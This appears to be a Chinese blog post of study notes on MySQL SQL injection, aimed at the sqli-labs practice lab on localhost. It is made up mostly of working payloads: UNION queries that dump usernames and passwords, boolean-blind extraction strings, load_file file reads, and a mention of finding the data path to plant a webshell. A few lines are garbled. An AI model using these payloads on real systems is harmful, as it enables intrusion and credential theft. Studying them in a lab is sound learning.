SQL注入

零碎知识点

MySQL information_schema数据库

Mysql5.0以上才存在,记录了mysql数据库中所有的库名、表名、列名

imformation_shcema数据库中重要的表

imformation_shcema.schemata:记录了所有数据库的库名 schema_name
imformation_shcema.tables:记录了所有数据表的表名 table_name
imformation_shcema.columns:记录了所有列名 column_name

// 通过这条语句可以得到第一个的数据库名
select schema_name from information_schema.schemata limit 0,1

// 通过这条语句可以得到第一个的数据表名
select table_name from information_schema.tables limit 0,1
// 通过这条语句可以得到指定security数据库中的所有表名
select table_name from information_schema.tables where table_schema='security’limit 0,1

// 通过这条语句可以得到第一个的列名
select column_name from information_schema.columns limit 0,1
// 通过这条语句可以得到指定数据库security中的数据表users的所有列名
select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1

//通过这条语句可以得到指定数据表users中指定列password的第一条数据(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
select password from users limit 0,1

mysql常用函数

  • version():查询数据库版本,看是否可以利用information_schema

  • user():查询数据库的使用者,主要是查看权限

  • databas():查看当前数据库,信息搜集,以便后续对该数据库的利用

  • system_user():系统用户名

  • session_user():连接数据库的用户名,可尝试弱口令和爆破攻击

  • current_user():当前用户名

  • load_file():读取本地文件,这个函数比较重要,可以读取系统上的敏感信息。https://blog.csdn.net/weixin_30292843/article/details/99381669

  • select ‘字符串’ into outfile ’文件路径‘ 或 select ‘字符串’ into dumpfile ‘文件路径’:导出数据到文件中

  • @@datadir:读取数据库路径,以便上传webshell

  • @@basedir:mysql安装路径

  • @@version_complie_os:查款操作系统

  • ascii(‘str’):返回给定字符的ascii值

  • length(‘str’):返回给定字符串的长度

  • substr(‘str’,start,length):对于给定字符串string,从start位开始截取,截取length长度,如substr(‘abdcefg’,2,3) = ‘bdc’

  • concat(username):将查询到的username连在一起,默认用逗号分隔

  • concat(str1,‘|’,str2):将查询到的str1和str2连接到一起,中间使用 | 分隔
    在这里插入图片描述

  • group_concat(username):将username数据查询在一起,用逗号连接

  • count():函数返回匹配指定条件的行数,SELECT COUNT(column_name) FROM table_name

常见注释符

–+
/ ** /

SQL注入的分类

根据注入点

数字型注入

数字型没有单引号
select email from member where id= i d s e l e c t e m a i l f r o m m e n b e r w h e r e i d = id select email from menber where id= idselectemailfrommenberwhereid=id and 1=1 正常
select email from menber where id=$id and 1=2 报错

字符串类型注入

select email from member where id=‘$id’
输入:1 or 1=1 报错
select email from member where id=‘1 or 1=1’
输入:1’ or 1=1 # 正常

搜索型注入

语句如下:SELECT*from database.table where users like ‘%要查询的关键字%’。这里“%”匹配任何字符,“like”的意思就是像。比如我们在搜索框输入关键字“李”,那么SQL语句就变成了SELECT * from database.table where users like ‘%李%’,意思就是查询users列里的带有关键字“李”的数据。
如果我们在输入关键字的时候不是输入的关键字“李”,而是精心构造的SQL语句,并且对于输入的关键字也没有过滤,那么注入就形成了。
例如我们在搜索框输入 李%‘and’1’=‘1’ and%’=’
SELECT * from table where users like’%李%‘and’1’=‘1’and’%’=’%’

Url 地址中输入 www.xxx.com/abc.php?users= 1‘ 报错,说明很有可能存在注入漏洞
Url 地址中输入 www.xxx.com/abc.php?users= 1% 报错,说明特别可能存在注入漏洞

Url 地址中输入 www.xxx.com/abc.php?users= 1% ‘and 1=1 and ‘%’=’ 正确
Url 地址中输入 www.xxx.com/abc.php?users= 1% ‘and 1=2 and ‘%’=’ 错误
根据上面两条语句判断是否存在搜索型注入。
以下几种语句都可以
‘and 1=1 and ‘%’=’

%’ and 1=1–’

%’ and 1=1 and ‘%’=’

根据提交方式分类

GET注入

POST注入

COOKIE注入

HTTP头注入(XFF注入、UA注入、REFERER注入)

根据获取信息的方式分类

基于布尔的盲注

服务器没有错误回显,但是存在sql注入
常用函数:ascii(),substr(),length(),exists(),concat()
在这里插入图片描述

1.判断数据库类型 exists()

//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1’ and exists(selectfrom information_schema.tables) #
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1’ and exists(select
from msysobjects) #

//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1’ and exists(selectfrom sysobjects) #
//判断是否是Oracle数据库
http://127.0.0.1/sqli/Less-5/?id=1’ and (select count(
) from dual)>0 #

2.判断当前数据库名 length(),ascii(),substr()

1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1’ and length(database())>5 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1’ and length(database())>10 //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1’ and length(database())>7 //正常显示
http://127.0.0.1/sqli/Less-5/?id=1’ and length(database())>8 //不显示任何数据

大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为 8

2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr(database(),1,1))>100
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr(database(),2,1))>100


由此可以判断出当前数据库为 security

3.判断当前数据库中的表

http://127.0.0.1/sqli/Less-5/?id=1’ and exists(select * from admin) //猜测当前数据库中是否存在admin表
1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1’ and (select count(table_name) from information_schema.tables where table_schema=database())>5 #

2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6

3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 #
//判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 #


由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

4.判断表中的字段

http://127.0.0.1/sqli/Less-5/?id=1’ and exists(select username from admin) //如果已经证实了存在admin表,那么猜测是否存在username字段
1:判断表中字段的个数
//判断users表中字段个数是否大于5,这里的users表是通过上面的语句爆出来的
http://127.0.0.1/sqli/Less-5/?id=1’ and (select count(column_name) from information_schema.columns where table_name=‘users’)>5 #

2:判断字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select column_name from information_schema.columns where table_name=‘users’ limit 0,1))>5
//判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select column_name from information_schema.columns where table_name=‘users’ limit 1,1))>5

3:判断字段的ascii值
//判断第一个字段的第一个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))>100
//判断第一个字段的第二个字符的长度
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),2,1))>100


由此可判断出users表中存在 id、username、password 字段

5.判断字段中的数据

我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据

1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select id from users limit 0,1))>5
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1’ and length((select id from users limit 1,1))>5

2:判断数据的ascii值
// 判断id字段的第一个数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select id from users limit 0,1),1,1))>100
// 判断id字段的第一个数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1’ and ascii(substr((select id from users limit 0,1),2,1))>100

基于时间的盲注

基于报错的注入

联合查询Union注入

适用于显示列的注入

order by判断数据表的列数

?id=1’ or order by 1 --+ 正常
?id=1’ or order by 2 --+ 正常
?id=1’ or order by 3 --+ 正常
?id=1’ or order by 4 --+ Unknown column ‘4’ in ‘order clause’
说明数据表列数为3

union联合查询判断回显点

?id=-1’ union select 1,2,3 --+
将前一个查询使用-1手动否定掉,那么只会显示联合查询的结果,这样就知道了回显点在哪

使用函数进行信息搜集

version()
database()
user()
等等

获取数据库、表、列

// 获得所有的数据库
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata --+
// 获得所有的表
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables --+

// 获得所有的列
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns --+

//获取当前数据库中指定表的指定字段的值(只能是database()所在的数据库内的数据,因为处于当前数据库下的话不能查询其他数据库内的数据)
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(password),3 from users%23 --+

//获取当前数据库所有的表名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+

//获取当前数据库的列名
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=‘security’ and table_name=‘users’ --+

//获取指定表的所有信息
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,group_concat(id,‘–’,username,‘–’,password),3 from users --+

堆查询注入

文件读写

  • 当有显示列的时候,文件读可以利用union注入
  • 当没有显示列的时候,只能利用盲注进行数据读取
union注入读取文件(load_file)

读取e盘下的1.txt文件
//union注入读取 e:/1.txt 文件
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,load_file(“e:/1.txt”) --+
//也可以把 e:/1.txt 转换成16进制 0x653a2f332e747874
http://127.0.0.1/sqli/Less-1/?id=-1’ union select 1,2,load_file(0x653a2f332e747874) --+

盲注读取文件

//盲注读取的话就是利用hex函数,将读取的字符串转换成16进制,再利用ascii函数,转换成ascii码,再利用二分法一个一个的判断字符,很复杂,一般结合工具完成
http://127.0.0.1/sqli/Less-1/?id=-1’ and ascii(mid((select hex(load_file(‘e:/3.txt’))),18,1))>49#’ LIMIT 0,1

判断是否存在SQL注入

1.加单引号’,双引号"、单括号)、双括号))等看是否报错

2.and 1=1 , and 1=2 页面显示不一致

3.Timing attack 时间盲注,有时网站配置了不显示错误信息,但是可能存在sql注入

在Mysql中,有一个benchmark()函数,用于测试性能。benchmark(count,expr),将表达式expr执行count次。
利用benchmark函数,让同一个函数执行若干次,通过时间长短的变化,判断注入语句是否执行成功

易出现SQL注入的功能点

  • 登录页面
  • 涉及获取HTTP头(user-agent / client-ip等)
  • 搜索框
  • 等等(待个人补充)
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值